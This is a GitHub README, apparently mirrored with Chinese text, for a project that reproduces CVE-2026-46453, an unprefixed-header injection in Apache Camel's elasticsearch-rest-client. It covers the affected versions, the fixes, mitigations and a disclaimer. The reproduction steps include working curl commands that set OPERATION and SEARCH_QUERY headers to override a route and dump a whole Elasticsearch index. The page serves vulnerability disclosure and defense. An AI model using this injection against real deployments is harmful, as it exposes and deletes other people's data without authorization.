oscerd/CVE-2026-46453
GitHub: oscerd/CVE-2026-46453
Apache Camel elasticsearch-rest-client 组件无前缀 Header 注入漏洞(CVE-2026-46453)的复现项目,演示了攻击者如何通过入站 HTTP Header 覆盖 ES 操作以绕过授权。
Stars: 0 | Forks: 0
# camel-elasticsearch-rest-client 无前缀 Header 注入复现项目 (CVE-2026-46453)
本项目演示了 Apache Camel 的 `camel-elasticsearch-rest-client` 组件中的一个**消息 header 注入 / 授权绕过**漏洞,追踪编号为 **CVE-2026-46453**。该组件会读取多个 Exchange
header 来控制其行为 —— `SEARCH_QUERY`、`OPERATION`、`INDEX_NAME`、`INDEX_SETTINGS`、`ID`。在受影响的版本中,这些 header 的**字符串值**是普通的、**无前缀**的名称(`"OPERATION"`、
`"SEARCH_QUERY"`,……),而不是其他所有组件使用的带有 `Camel` 前缀的名称。Camel 的入站
`HttpHeaderFilterStrategy` 仅阻止以 `Camel`/`camel` 开头的名称,因此这些 header **会原封不动地通过入站过滤器**。当路由在 elasticsearch-rest-client producer 前面暴露了一个 HTTP 入口点(例如 platform-http)时,不受信任的 HTTP 客户端可以直接设置这些 header 并**覆盖**
路由作者配置的查询和操作 —— 读取整个索引、删除文档等。此过程无需任何凭据。
安全通告:https://camel.apache.org/security/CVE-2026-46453.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-elasticsearch-rest-client` |
| **受影响的常量** | `ElasticSearchRestClientConstant` — `ID`、`SEARCH_QUERY`、`INDEX_SETTINGS`、`INDEX_NAME`、`OPERATION`(无前缀值) |
| **CWE** | CWE-20(输入验证不恰当)+ CWE-639(通过用户控制键绕过授权) |
| **影响** | 不受信任的 HTTP 客户端覆盖 ES 操作/查询 —— 读取/删除/窃取文档 |
| **受影响版本** | 从 4.3.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23508 |
| **报告者** | Yu Bao (PayPal) |
## 技术细节
```
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
```
`HttpHeaderFilterStrategy` 仅阻止 `Camel*`/`camel*`,因此入站 HTTP header `OPERATION: SEARCH`(以及
`SEARCH_QUERY: {...}`)会直接通过并覆盖路由作者设置的 `operation=GET_BY_ID`。修复方案
(4.14.8 / 4.18.3 / 4.21.0)将这些**值**重命名为 `CamelElasticsearchOperation`、`CamelElasticsearchSearchQuery`
等,这样入站过滤器就能阻止它们(Java 字段名保持不变)。
## 受害者路由
```
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=&operation=GET_BY_ID&indexName=products");
// route author intends a single, safe operation: fetch one document by id
```
攻击者发送包含 `OPERATION: SEARCH` + `SEARCH_QUERY: {"query":{"match_all":{}}}` 的 HTTP 请求会覆盖原有配置
并导出整个索引。
## 仓库结构
**受害者**是 Camel 路由;**攻击者**是任何可以访问到 platform-http endpoint 的 HTTP 客户端。复现项目在 Docker 中运行真实的 **Elasticsearch**,并在宿主机上运行 Camel 应用(该应用通过映射的端口与
ES 通信)。
```
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # seeds a "public" and a "secret" document
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
└── resources/
└── application.properties
```
## 前置条件
- Java 17+ 和 Maven 3.8+
- Docker(用于运行 Elasticsearch)
## 复现步骤
### 步骤 1:启动 Elasticsearch
```
docker compose up -d
# 等待直到就绪:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
```
### 步骤 2:构建并运行应用(在宿主机上,与 ES 容器通信)
```
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# 应用在启动时使用一个 public 和一个 secret 文档填充 'products' 索引
```
### 步骤 3:触发 header 注入
```
curl -s http://localhost:8080/exploit/attack
# === 1) 合法请求 (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret 泄露:false
# === 2) 攻击请求 (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret 泄露:true
# # >>> Header-injection 证明 — 攻击者覆盖了 operation 并读取了整个 index:true
```
你也可以手动执行此操作 —— 注入的 header 会直接穿过 platform-http 的入站过滤器:
```
# 合法:路由作者的 GET_BY_ID 仅返回 public 文档
curl -s -H "ID: public-1" http://localhost:8080/products
# 攻击:覆盖 operation 并转储整个 index(包含 secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
```
### 清理
```
docker compose down
```
## 攻击向量
任何在 elasticsearch-rest-client producer 前暴露 HTTP 入口点的路由。攻击者在入站 HTTP 请求中设置
`OPERATION`、`SEARCH_QUERY`、`INDEX_NAME`、`INDEX_SETTINGS` 或 `ID`;它们会绕过
`Camel` 前缀入站过滤器并到达 producer。
## 漏洞利用条件
1. HTTP consumer(例如 platform-http)在受影响的版本上路由到 elasticsearch-rest-client producer。
2. 默认的 `HttpHeaderFilterStrategy`(仅阻止 `Camel*`),它未覆盖无前缀的 ES header。
## 推荐修复方案
升级到 **4.14.8 / 4.18.3 / 4.21.0**(CAMEL-23508),此版本在 header 值前加上了 `Camel` 前缀,使得入站过滤器可以阻止它们。
## 缓解措施
在升级之前,在 producer 处理之前,从不受信任的入站消息中剥离受影响的 header:
```
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
```
或者应用一个自定义的 `HeaderFilterStrategy` 来阻止这些名称。
## 免责声明
本复现项目仅用于**安全研究和授权测试**,针对的是一个**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CISA项目, Elasticsearch, JS文件枚举, 中间件安全, 域名枚举, 消息头注入, 漏洞复现, 请求拦截, 越权漏洞